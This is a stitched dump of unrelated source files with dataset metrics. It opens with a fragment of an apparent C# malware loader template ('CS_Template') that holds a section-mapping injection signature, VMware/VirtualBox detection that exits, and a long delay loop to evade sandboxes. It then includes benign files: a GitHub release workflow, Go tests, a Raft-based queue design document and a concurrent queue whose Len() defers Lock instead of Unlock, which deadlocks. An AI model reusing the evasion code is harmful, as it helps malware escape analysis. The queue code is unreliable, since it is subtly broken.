IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); } } }"; //简单虚拟机检测 public static string vm_detect = @"if (System.IO.Directory.Exists(""C:\\Program Files\\VMware\\VMware Tools\\"")) { System.Environment.Exit(0); } if (System.IO.Directory.Exists(""C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\"")) { System.Environment.Exit(0); }"; //大循环延时 180秒 public static string super_delay = @"int j = 0; for (int i = 0; i < 500000000; i++) { for (int n = 0; n < 150; n++) { j += 2; } } if (j == 0) { System.Environment.Exit(0); }"; //开机自启 public static string start_on_boot = @""; //注册服务 public static string reg_service = @""; } }
104,244
CS_Template
cs
en
csharp
code
{"qsc_code_num_words": 7567, "qsc_code_num_chars": 104244.0, "qsc_code_mean_word_length": 7.95586098, "qsc_code_frac_words_unique": 0.16849478, "qsc_code_frac_chars_top_2grams": 0.03398558, "qsc_code_frac_chars_top_3grams": 0.03023155, "qsc_code_frac_chars_top_4grams": 0.03587921, "qsc_code_frac_chars_dupe_5grams": 0.96388824, "qsc_code_frac_chars_dupe_6grams": 0.95975217, "qsc_code_frac_chars_dupe_7grams": 0.95832364, "qsc_code_frac_chars_dupe_8grams": 0.95736022, "qsc_code_frac_chars_dupe_9grams": 0.95525066, "qsc_code_frac_chars_dupe_10grams": 0.95525066, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.11786027, "qsc_code_frac_chars_whitespace": 0.34365527, "qsc_code_size_file_byte": 104244.0, "qsc_code_num_lines": 2441.0, "qsc_code_num_chars_line_max": 412.0, "qsc_code_num_chars_line_mean": 42.70544859, "qsc_code_frac_chars_alphabet": 0.76201403, "qsc_code_frac_chars_comments": 0.00105522, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.82328386, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.03432282, "qsc_code_frac_chars_string_length": 0.0337261, "qsc_code_frac_chars_long_word_length": 0.00177657, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.08742666, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecsharp_frac_lines_func_ratio": 0.00463822, "qsc_codecsharp_cate_var_zero": 0.0, "qsc_codecsharp_score_lines_no_logic": 0.06586271, "qsc_codecsharp_frac_lines_print": 0.00278293}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecsharp_frac_lines_func_ratio": 0, "qsc_codecsharp_cate_var_zero": 0, "qsc_codecsharp_score_lines_no_logic": 0, "qsc_codecsharp_frac_lines_print": 0}
1xyz/pryrite
.github/workflows/release.yml
on: workflow_dispatch: push: branches: - main paths: - 'version.txt' name: Release jobs: build: name: Release runs-on: ubuntu-latest steps: - name: Set up Go 1.16+ uses: actions/setup-go@v2 with: go-version: ^1.17 id: go - name: Check out code into the Go module directory uses: actions/checkout@v2 - name: Get version id: get_version run: echo ::set-output name=VERSION::$(cat version.txt) - name: Get commit hash id: get_commit_hash run: echo ::set-output name=COMMIT_HASH::$(git rev-parse --short HEAD) - name: Get tag name id: get_tag_name uses: haya14busa/action-cond@v1 with: cond: ${{ github.ref == 'refs/heads/main' }} if_true: ${{ steps.get_version.outputs.VERSION }} if_false: ${{ steps.get_version.outputs.VERSION }}-${{ steps.get_commit_hash.outputs.COMMIT_HASH }}-dev - name: Build all binaries and zips run: make release - name: Create Release id: create_release uses: actions/create-release@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: tag_name: ${{ steps.get_tag_name.outputs.value }} release_name: Release ${{ steps.get_tag_name.outputs.value }} draft: false prerelease: ${{ github.ref != 'refs/heads/main' }} - name: Upload x64 Linux Release Binary id: upload-release-binary-linux-amd64 uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: ./bin/linux-amd64/pryrite asset_name: pryrite-linux-amd64 asset_content_type: application/octet-stream - name: Upload x64 Linux Release Asset id: upload-release-asset-linux-amd64 uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: ./zips/pryrite-linux-amd64.zip asset_name: pryrite-linux-amd64-${{ steps.get_tag_name.outputs.value }}.zip asset_content_type: application/zip - name: Upload ARM-64 Linux Release Binary id: upload-release-binary-linux-arm64 uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: ./bin/linux-arm64/pryrite asset_name: pryrite-linux-arm64 asset_content_type: application/octet-stream - name: Upload ARM-64 Linux Release Asset id: upload-release-asset-linux-arm64 uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: ./zips/pryrite-linux-arm64.zip asset_name: pryrite-linux-arm64-${{ steps.get_tag_name.outputs.value }}.zip asset_content_type: application/zip - name: Upload ARM-32 Linux Release Binary id: upload-release-binary-linux-arm uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: ./bin/linux-arm/pryrite asset_name: pryrite-linux-arm asset_content_type: application/octet-stream - name: Upload ARM-32 Linux Release Asset id: upload-release-asset-linux-arm uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: ./zips/pryrite-linux-arm.zip asset_name: pryrite-linux-arm-${{ steps.get_tag_name.outputs.value }}.zip asset_content_type: application/zip - name: Upload darwin Release Asset id: upload-release-asset-darwin uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: ./zips/pryrite-darwin-amd64.zip asset_name: pryrite-darwin-amd64-${{ steps.get_tag_name.outputs.value }}.zip asset_content_type: application/zip
4,814
release
yml
en
yaml
data
{"qsc_code_num_words": 560, "qsc_code_num_chars": 4814.0, "qsc_code_mean_word_length": 4.92142857, "qsc_code_frac_words_unique": 0.17142857, "qsc_code_frac_chars_top_2grams": 0.06386067, "qsc_code_frac_chars_top_3grams": 0.07184325, "qsc_code_frac_chars_top_4grams": 0.04644412, "qsc_code_frac_chars_dupe_5grams": 0.77358491, "qsc_code_frac_chars_dupe_6grams": 0.64150943, "qsc_code_frac_chars_dupe_7grams": 0.60740203, "qsc_code_frac_chars_dupe_8grams": 0.60740203, "qsc_code_frac_chars_dupe_9grams": 0.4934688, "qsc_code_frac_chars_dupe_10grams": 0.45645864, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01759094, "qsc_code_frac_chars_whitespace": 0.30328209, "qsc_code_size_file_byte": 4814.0, "qsc_code_num_lines": 130.0, "qsc_code_num_chars_line_max": 116.0, "qsc_code_num_chars_line_mean": 37.03076923, "qsc_code_frac_chars_alphabet": 0.80411449, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.42608696, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00851683, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1xyz/coolbeans
store/snapshot_test.go
package store import ( "bytes" "fmt" "github.com/1xyz/coolbeans/state" "github.com/stretchr/testify/assert" "testing" "time" ) func TestNewSnapshotFrom_EmptyJsm(t *testing.T) { jsm, err := state.NewJSM() if err != nil { t.Fatalf("err state.NewJSM %v", err) } ss, err := NewSnapshotFrom(jsm) assert.Nilf(t, err, "expect err to be nil") assert.NotNilf(t, ss, "expect snapshot to not be nil") assert.Equalf(t, 0, len(ss.snap.Jobs), "expect zero jobs to be snapshot") assert.Equalf(t, 0, len(ss.snap.Reservations), "expect zero reservations to be snapshot") } func TestNewSnapshotFrom(t *testing.T) { jsm, _ := state.NewJSM() resv := putNClientResvEntries(t, jsm, 5) jobs := putNJobs(t, jsm, 7) ss, err := NewSnapshotFrom(jsm) assert.Nilf(t, err, "expect err to be nil") assert.NotNilf(t, ss, "expect snapshot to not be nil") assert.Equalf(t, len(jobs), len(ss.snap.Jobs), "expect zero jobs to be snapshot") assert.Equalf(t, len(resv), len(ss.snap.Reservations), "expect zero reservations to be snapshot") } func TestPersist(t *testing.T) { jsm, _ := state.NewJSM() putNClientResvEntries(t, jsm, 5) putNJobs(t, jsm, 7) ss, _ := NewSnapshotFrom(jsm) sink := newTestSink() err := ss.Persist(sink) assert.Nilf(t, err, "expect err to be nil") assert.Greaterf(t, len(sink.Bytes()), 0, "expect byte len > 0") } func TestRestoreSnapshotTo(t *testing.T) { jsm, _ := state.NewJSM() resv := putNClientResvEntries(t, jsm, 5) jobIDs := putNJobs(t, jsm, 7) ss, _ := NewSnapshotFrom(jsm) sink := newTestSink() ss.Persist(sink) // restore the snapshot to another state machine jsm2, _ := state.NewJSM() err := RestoreSnapshotTo(sink, jsm2, time.Second*30) assert.Nilf(t, err, "expect err to be nil") jsmSnap, _ := jsm2.Snapshot() // Verify if the jobIDs match if jobCh, err := jsmSnap.SnapshotJobs(); err != nil { t.Fatalf("jsmSnap.SnapshotJobs err=%v", err) } else { count := 0 for range jobCh { count++ } assert.Equalf(t, len(jobIDs), count, "expect job count to be %v", len(jobIDs)) } // Verif if the clientIDs match if cliCh, err := jsmSnap.SnapshotClients(); err != nil { t.Fatalf("jsmSnap.SnapshotClients err=%v", err) } else { count := 0 for range cliCh { count++ } assert.Equalf(t, len(resv), count, "expect resv count to be %v", len(resv)) } } func putNClientResvEntries(t *testing.T, jsm state.JSM, n int) []*state.Reservation { reqID := "bar" testResv := make([]*state.Reservation, 0) now := testNowSecs() deadlineAt := now + 100 for i := 0; i < n; i++ { cliID := state.ClientID(fmt.Sprintf("foo-%d", i)) if r, err := jsm.AppendReservation(cliID, reqID, []state.TubeName{"foo"}, now, deadlineAt); err != nil { t.Fatalf("error in jsm.AppendReservation. err=%v", err) } else { testResv = append(testResv, r) } } return testResv } func putNJobs(t *testing.T, jsm state.JSM, n int) []state.JobID { now := testNowSecs() body := "hello world" testJobs := make([]state.JobID, 0) for i := 0; i < n; i++ { jobID, err := jsm.Put(now, uint32(i), 0, 10, len(body), []byte(body), state.TubeName("foo")) if err != nil { t.Fatalf("error in jsm.Put. err=%v", err) } else { testJobs = append(testJobs, jobID) } } return testJobs } func testNowSecs() int64 { return time.Now().UTC().Unix() } type testSink struct { bytes.Buffer } func newTestSink() *testSink { return &testSink{ bytes.Buffer{}, } } func (t *testSink) Close() error { return nil } func (t *testSink) ID() string { return "id" } func (t *testSink) Cancel() error { return nil }
3,567
snapshot_test
go
en
go
code
{"qsc_code_num_words": 511, "qsc_code_num_chars": 3567.0, "qsc_code_mean_word_length": 4.57534247, "qsc_code_frac_words_unique": 0.23483366, "qsc_code_frac_chars_top_2grams": 0.02053037, "qsc_code_frac_chars_top_3grams": 0.02309666, "qsc_code_frac_chars_top_4grams": 0.03079555, "qsc_code_frac_chars_dupe_5grams": 0.44739093, "qsc_code_frac_chars_dupe_6grams": 0.38366125, "qsc_code_frac_chars_dupe_7grams": 0.36698033, "qsc_code_frac_chars_dupe_8grams": 0.34644996, "qsc_code_frac_chars_dupe_9grams": 0.32506416, "qsc_code_frac_chars_dupe_10grams": 0.24636441, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01088435, "qsc_code_frac_chars_whitespace": 0.17577796, "qsc_code_size_file_byte": 3567.0, "qsc_code_num_lines": 145.0, "qsc_code_num_chars_line_max": 107.0, "qsc_code_num_chars_line_mean": 24.6, "qsc_code_frac_chars_alphabet": 0.78435374, "qsc_code_frac_chars_comments": 0.03027754, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.27731092, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.17288234, "qsc_code_frac_chars_long_word_length": 0.0318011, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.11764706, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.09243697, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.16806723, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
doc/Design.md
- [Coolbeans High Level Design](#coolbeans-high-level-design) - [Consensus](#consensus) - [Beanstalkd Job life-cycle](#beanstalkd-job-lifecycle) - [Node Design](#node-design) - [Setup options](#setup-options) Coolbeans High Level Design =========================== This document summarizes design notes for coolbeans. To summarize, Coolbeans is a distributed work queue that implements the [beanstalkd protocol](https://github.com/beanstalkd/beanstalkd/blob/master/doc/protocol.txt). Coolbeans primarily differs from beanstalkd in that it allows the work queue to be replicated across multiple machines. Coolbeans, uses the [Raft consensus algorithm](https://raft.github.io/) to consistently replicate the job state transitions across multiple machines. Consensus --------- Concept: A state machine consists of a collection of states, a collection of transitions between states, and a current state. A transition to a new current state happens in response to an issued operation and produces an output. In a deterministic state machine, for any state and operation, the transition enabled by the operation is unique and the output is a function only of the state and the operation. In essence, a replicated state machine is realized as follows: A collection of replicas of a deterministic state machine are created. The replicas are then provided with the same sequence of operations, so they go through the same sequence of state transitions and end up in the same state and produce the same sequence of outputs. Consensus is the process of agreeing on one result among a group of participants. Specifically, these participants agree on the transitions to made on the replicated state machine. The paper [Paxos made moderately complex](http://www.cs.cornell.edu/courses/cs7412/2011sp/paxos.pdf) provides an in-depth discussion to the distributed consensus problem. Raft provides a consensus protocol for state machine replication in a distributed asynchronous environment. Beanstalkd Job lifecycle ------------------------ The diagram shows the life-cycle of a beanstalkd job, the different states & transitions. Source: This diagram is copied & modified from the [beanstalkd protocol](https://github.com/beanstalkd/beanstalkd/blob/master/doc/protocol.txt). The document is extensive and explains the life-cycle in detail. ![beanstalkd lifecycle](beanstalkd_lifecycle.png) In essence, this is the state machine that we are going to replicate across the nodes. Code reference is interface JSM [here](../state/state.go). Node Design ----------- This diagram shows the high level processes, its functionality and interactions There are two primary processes managed by coolbeans, the beanstalkd-proxy and the cluster-node server. | Process | Description | |---------------------------|--------------| | Client | A client of the beanstalkd service, the client interacts with the beanstalkd proxy server over TCP using the beanstalkd protocol. | | Beanstalkd Proxy Server | Represents the coolbeans beanstalkd proxy server, which interacts with the client via TCP using the beanstalkd protocol. The beanstalkd server is a client to the cluster node server, decoding the beanstalkd requests into GRPC requests to the cluster node server. | | Cluster Node Server | The cluster node server maintains the job state. The node is essentially a part of a Raft cluster, where job state transitions are replicated consistently using the Raft consensus protocol. | <img src="arch.png" align=right > The rationale for separating the proxy and the cluster-node include: - By having two processes, we can natively secure & authenticate the GRPC connection between the proxy-server and the cluster-node server. - The cluster node server can be scaled independently of the beanstalkd-proxy. Notes: - [RQlite](https://github.com/rqlite/rqlite/blob/master/DOC/DESIGN.md) is a good reference on how to design a replicated system using Raft. Setup options ------------- - It it recommended to have a three cluster-nodes in your RAFT cluster to be resilient to single node failures. - Options for setting up beanstalkd-proxy: - A single beanstalkd proxy server as a side-car for every machine, or pod, similar to [this](https://cloud.google.com/sql/docs/mysql/sql-proxy). - Have a fleet of one ore more beanstalkd-proxy servers with the cluster-nodes configured as upstreams.
4,466
Design
md
en
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.27132701, "qsc_doc_num_sentences": 48.0, "qsc_doc_num_words": 643, "qsc_doc_num_chars": 4466.0, "qsc_doc_num_lines": 72.0, "qsc_doc_mean_word_length": 5.28615863, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.35147745, "qsc_doc_entropy_unigram": 4.7729749, "qsc_doc_frac_words_all_caps": 0.01540284, "qsc_doc_frac_lines_dupe_lines": 0.0, "qsc_doc_frac_chars_dupe_lines": 0.0, "qsc_doc_frac_chars_top_2grams": 0.03824654, "qsc_doc_frac_chars_top_3grams": 0.02883201, "qsc_doc_frac_chars_top_4grams": 0.0353045, "qsc_doc_frac_chars_dupe_5grams": 0.11473963, "qsc_doc_frac_chars_dupe_6grams": 0.06825537, "qsc_doc_frac_chars_dupe_7grams": 0.06825537, "qsc_doc_frac_chars_dupe_8grams": 0.04648426, "qsc_doc_frac_chars_dupe_9grams": 0.04648426, "qsc_doc_frac_chars_dupe_10grams": 0.04648426, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 35.31707317, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0830721, "qsc_doc_frac_chars_alphabet": 0.90090329, "qsc_doc_frac_chars_digital": 0.0021254, "qsc_doc_frac_chars_whitespace": 0.15718764, "qsc_doc_frac_chars_hex_words": 0.0}
1
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
1xyz/pryrite
tools/queue/conqueue.go
package queue import ( "container/list" "sync" ) // ConcurrentQueue - A queue which is go-routine safe type ConcurrentQueue struct { // q is the backing linked list for this queue q *list.List // A cond variable used for th WaitForItem call c *sync.Cond // An underlying mutex to provide go-routine safety mu *sync.Mutex } func NewConcurrentQueue() Queue { mu := &sync.Mutex{} return &ConcurrentQueue{ q: list.New(), mu: mu, c: sync.NewCond(mu), } } func (mq *ConcurrentQueue) Enqueue(item interface{}) { mq.c.L.Lock() defer mq.c.L.Unlock() mq.q.PushBack(item) // Broadcast all waiting go-routines // ToDo: figure out if signal is sufficient mq.c.Broadcast() } func (mq *ConcurrentQueue) Dequeue() (interface{}, bool) { mq.c.L.Lock() defer mq.c.L.Unlock() return mq.dequeue() } func (mq *ConcurrentQueue) dequeue() (interface{}, bool) { if mq.q.Len() == 0 { return nil, false } elem := mq.q.Front() mq.q.Remove(elem) return elem.Value, true } func (mq *ConcurrentQueue) Len() int { mq.c.L.Lock() defer mq.c.L.Lock() return mq.q.Len() } func (mq *ConcurrentQueue) WaitForItem() interface{} { mq.c.L.Lock() for mq.q.Len() == 0 { // Refer the comment for cond.Wait // Wait atomically unlocks c.L and suspends execution // of the calling goroutine. After later resuming execution, // Wait locks c.L before returning. Unlike in other systems, // Wait cannot return unless awoken by Broadcast or Signal. // // Because c.L is not locked when Wait first resumes, the caller // typically cannot assume that the condition is true when // Wait returns. Instead, the caller should Wait in a loop: mq.c.Wait() } defer mq.c.L.Unlock() v, ok := mq.dequeue() if !ok { panic("Fatal error expected to have at least one element") } return v }
1,802
conqueue
go
en
go
code
{"qsc_code_num_words": 276, "qsc_code_num_chars": 1802.0, "qsc_code_mean_word_length": 4.44927536, "qsc_code_frac_words_unique": 0.44565217, "qsc_code_frac_chars_top_2grams": 0.01791531, "qsc_code_frac_chars_top_3grams": 0.02605863, "qsc_code_frac_chars_top_4grams": 0.03257329, "qsc_code_frac_chars_dupe_5grams": 0.1514658, "qsc_code_frac_chars_dupe_6grams": 0.11807818, "qsc_code_frac_chars_dupe_7grams": 0.05130293, "qsc_code_frac_chars_dupe_8grams": 0.05130293, "qsc_code_frac_chars_dupe_9grams": 0.03745928, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00136426, "qsc_code_frac_chars_whitespace": 0.18645949, "qsc_code_size_file_byte": 1802.0, "qsc_code_num_lines": 79.0, "qsc_code_num_chars_line_max": 67.0, "qsc_code_num_chars_line_mean": 22.81012658, "qsc_code_frac_chars_alphabet": 0.83628922, "qsc_code_frac_chars_comments": 0.40233074, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12962963, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06220984, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.01265823, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.11111111, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.25925926, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 1, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/pryrite
tools/queue/conqueue_test.go
package queue import ( "github.com/stretchr/testify/assert" "testing" ) func TestNewQueue_MatchesInterface(t *testing.T) { q := NewConcurrentQueue() assert.NotNil(t, q) mq, ok := q.(*ConcurrentQueue) assert.True(t, ok) assert.NotNil(t, mq.q) } func TestConcurrentQueue_Enqueue_ItemsAreAddedToList(t *testing.T) { q := NewConcurrentQueue() mq, _ := q.(*ConcurrentQueue) q.Enqueue("Garbanzo Beans") q.Enqueue("Falafal") assert.Equal(t, 2, mq.q.Len()) } func TestConcurrentQueue_Dequeue_ItemsAreDeQueuedInOrder(t *testing.T) { q := NewConcurrentQueue() entries := []string{"5", "4", "3", "2", "1"} expectedEntries := make([]string, 0, 5) for _, e := range entries { q.Enqueue(e) expectedEntries = append(expectedEntries, e) } for _, expectedEntry := range expectedEntries { actualEntry, ok := q.Dequeue() assert.True(t, ok) assert.Equal(t, expectedEntry, actualEntry) } } func TestConcurrentQueue_Dequeue_EmptyQReturnsNotOk(t *testing.T) { q := NewConcurrentQueue() _, ok := q.Dequeue() assert.False(t, ok) } func TestConcurrentQueue_WaitForItem_DequeuesItemsInOrder(t *testing.T) { q := NewConcurrentQueue() entries := []string{"5", "4", "3", "2", "1"} expectedEntries := make([]string, 0, 5) for _, e := range entries { q.Enqueue(e) expectedEntries = append(expectedEntries, e) } for i := 0; i < len(expectedEntries); i++ { actualEntry := q.WaitForItem() expectedEntry := expectedEntries[i] assert.Equal(t, expectedEntry, actualEntry) } } func TestConcurrentQueue_WaitForItem_DeQueuesItemsAcrossGoRoutines(t *testing.T) { q := NewConcurrentQueue() entries := []string{"5", "4", "3", "2", "1"} go func(entries []string) { for _, e := range entries { q.Enqueue(e) } }(entries) for i := 0; i < len(entries); i++ { actualEntry := q.WaitForItem() expectedEntry := entries[i] assert.Equal(t, expectedEntry, actualEntry) } }
1,898
conqueue_test
go
en
go
code
